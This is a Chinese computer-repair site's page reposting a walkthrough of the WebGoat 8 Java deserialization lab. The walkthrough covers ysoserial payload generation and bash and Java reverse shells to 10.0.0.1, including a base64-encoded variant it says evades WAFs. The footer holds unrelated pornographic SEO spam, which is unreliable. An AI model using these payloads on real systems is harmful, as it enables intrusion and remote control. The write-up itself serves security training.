錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務,錦州廣廈維修電腦,公司IT外包服務
topFlag1 設為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務項目 服務報價 維修流程 IT外包服務 服務器維護 技術文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統|0416-3905144熱誠服務技術文章
Java反序列化漏洞:在受限環境中從漏洞發現到獲取反向Shell

作者: 佚名  日期:2018-11-10 14:52:28   來源: 本站整理

 Java反序列化漏洞可以說是Java安全的一塊心病,近年來更是在安全界“出盡風頭”。其實說到Java反序列化的問題,早在2015年年初的在AppSecCali大會上,兩名安全研究人員Chris Frohoff 和 Gabriel Lawrence發表了一篇題為《Marshalling Pickles》的報告,就詳細描述了Java反序列化漏洞可以利用Apache Commons Collections這個常用的Java庫來實現任意代碼執行,甚至還提供了相應的Payload生成工具ysoserial。
通過對象序列化,開發人員可將內存中對象轉換為二進制和文本數據格式進行存儲或傳輸。但是,從不受信任的數據反序列化對象可能會導致攻擊者實現遠程代碼執行。
本文我將以WebGoat 8中的反序列化挑戰(部署在Docker上)為例,向大家展示完成該挑戰并進一步獲取目標反向shell的完整過程。
漏洞發現
正如挑戰中所提到的,易受攻擊的頁面從用戶輸入中獲取Base64格式的序列化Java對象,并不加過濾的對其進行反序列化操作。我們將通過提供一個序列化對象來利用這個漏洞,該對象將觸發面向屬性的編程鏈(POP鏈)以在反序列化期間實現遠程命令執行。

啟動Burp并安裝一個名為Java-Deserialization-Scanner的插件。該插件主要包括2個功能:掃描以及基于ysoserial生成exploit。

掃描遠程端點后,Burp插件將向我們返回以下報告內容:
Hibernate 5 (Sleep): Potentially VULNERABLE!!!
是個好消息!
漏洞利用
現在,讓我們繼續下一步操作。點擊exploitation選項卡以實現任意命令執行。

從提示信息來看,這個錯誤應該來自ysoserial。我們回到控制臺看看究竟是什么問題。

通過觀察ysoserial,我看到有兩種不同的POP鏈可用于Hibernate。但使用這些payload后,我發現它們都沒有在目標系統上成功執行。

那么,插件又是如何生成payload來觸發sleep命令的呢?
我決定查看插件的源碼:
https://github.com/federicodotta/Java-Deserialization-Scanner/blob/master/src/burp/BurpExtender.java
經過一番仔細查看,我發現原來payload在插件的源碼中是硬編碼的。因此,我們需要找到一種方法來生成相同的payload以使其正常工作。

基于一些研究和幫助我發現,通過修改當前版本的ysoserial可以使我們的payload正常工作。我下載了ysoserial的源碼,并決定使用Hibernate 5重新對其進行編譯。想要使用Hibernate 5成功構建ysoserial,我們還需要將javax.el包添加到pom.xml文件中。
此外,我還向原始項目發送了一個Pull請求,以便在選擇hibernate5配置文件時修復構建。

現在,我們就可以使用以下命令開始重新構建ysoserial了:
mvn clean package -DskipTests -Dhibernate5
然后,我們使用以下命令來生成payload:
java -Dhibernate5 -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1 "touch /tmp/test" | base64 -w0

我們可以通過以下命令訪問docker容器,來驗證我們的命令是否已成功執行:
docker exec -it /bin/bash
可以看到我們的payload已在目標機器上成功執行了!

我們繼續枚舉目標機器上的二進制文件。
webgoat@1d142ccc69ec:/$ which php webgoat@1d142ccc69ec:/$ which python webgoat@1d142ccc69ec:/$ which python3 webgoat@1d142ccc69ec:/$ which wget webgoat@1d142ccc69ec:/$ which curl webgoat@1d142ccc69ec:/$ which nc webgoat@1d142ccc69ec:/$ which perl /usr/bin/perl webgoat@1d142ccc69ec:/$ which bash /bin/bash webgoat@1d142ccc69ec:/$
只有Perl和Bash可用。讓我們嘗試生成一個可向我們發送反向shell的payload。
以下是Pentest Monkeys上的一些單行反向shell:
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet我決定嘗試Bash反向shell:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
但你可能知道java.lang.Runtime.exec()具有一定的局限性,它不支持重定向或管道等shell操作符。
讓我們試試Java編寫的反向shell。我將修改Gadgets.java上的源碼,來生成反向shell payload。
以下是我們需要修改的路徑:
/root/ysoserial/src/main/java/ysoserial/payloads/util/Gadgets.java
從第116到118行。
下面是Pentest Monkeys上提到的一個Java反向shell,但依然無法正常工作:
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5/dev/tcp/10.0.0.1/2002;cat &5 >&5; done"] as String[]) p.waitFor()
在進行了一番修改后,結果如下:
String cmd = "java.lang.Runtime.getRuntime().exec(new String []{\"/bin/bash\",\"-c\",\"exec 5/dev/tcp/10.0.0.1/8080;cat &5 >&5; done\"}).waitFor();"; clazz.makeClassInitializer().insertAfter(cmd);
讓我們再次重建ysoserial,并測試生成的payload。

可以看到,這次我們成功獲取到了一個反向shell!

太棒了!

Payload生成過程概述
在研究過程中,我們發現了這個編碼器,它也可以幫助我們完成這個任務:
http://jackson.thuraisamy.me/runtime-exec-payloads.html
通過以下Bash反向shell命令:
bash -i >& /dev/tcp/[IP address]/[port] 0>&1
將會為我們生成如下payload:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xLzgwODAgMD4mMQ==}|{base64,-d}|{bash,-i}
另外,該編碼器還可用于繞過WAF哦!不信你就試試~
參考文獻
1、https://nickbloor.co.uk/2017/08/13/attacking-java-deserialization/
2、http://www.pwntester.com/blog/2013/12/16/cve-2011-2894-deserialization-spring-rce/
3、https://github.com/frohoff/ysoserial
4、https://github.com/federicodotta/Java-Deserialization-Scanner



熱門文章
  • 機械革命S1 PRO-02 開機不顯示 黑...
  • 聯想ThinkPad NM-C641上電掉電點不...
  • 三星一體激光打印機SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數和判...
  • IIS 8 開啟 GZIP壓縮來減少網絡請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機始終停留在開機界面...
  • 常見打印機清零步驟
  • 安裝驅動時提示不包含數字簽名的解...
  • 共享打印機需要密碼的解決方法
  • 圖解Windows 7系統快速共享打印機的...
  • 錦州廣廈電腦上門維修

    報修電話:13840665804  QQ:174984393 (聯系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務區域: 遼寧錦州市區
    主要業務: 修電腦,電腦修理,電腦維護,上門維修電腦,黑屏藍屏死機故障排除,無線上網設置,IT服務外包,局域網組建,ADSL共享上網,路由器設置,數據恢復,密碼破解,光盤刻錄制作等服務

    技術支持:微軟等
    主站蜘蛛池模板: 免费无码AV一区二区| 无码少妇一区二区三区芒果| 无码av大香线蕉伊人久久 | 免费无码中文字幕A级毛片| 亚洲AV无码一区二区三区DV| 最新无码专区视频在线| 深夜a级毛片免费无码| 性无码免费一区二区三区在线| 无码人妻av一区二区三区蜜臀| 亚洲色中文字幕无码AV| 无码日韩精品一区二区人妻| 亚洲一区二区三区国产精品无码 | 久久精品中文无码资源站| 蕾丝av无码专区在线观看| 亚洲精品偷拍无码不卡av| 日韩va中文字幕无码电影| mm1313亚洲国产精品无码试看 | 国产v亚洲v天堂无码网站| 成年男人裸j照无遮挡无码| 久久久久亚洲AV无码专区首JN| 国产Av激情久久无码天堂| 亚洲精品无码av天堂| 精品无码成人网站久久久久久| 精品国精品无码自拍自在线| 亚洲av无码不卡一区二区三区| 熟妇人妻中文a∨无码| 亚洲精品一级无码中文字幕| 黄色成人网站免费无码av| 无码夫の前で人妻を犯す中字| 亚洲AV无码久久精品狠狠爱浪潮| 久久久久久av无码免费看大片| 国产乱人伦无无码视频试看| 免费看国产成年无码AV片| 性色AV蜜臀AV人妻无码| 亚洲日韩精品A∨片无码加勒比 | 无码被窝影院午夜看片爽爽jk| 亚洲日韩精品无码AV海量| AV大片在线无码永久免费| 亚洲欧洲AV无码专区| 亚洲AV无码成人精品区日韩| 国产av激情无码久久|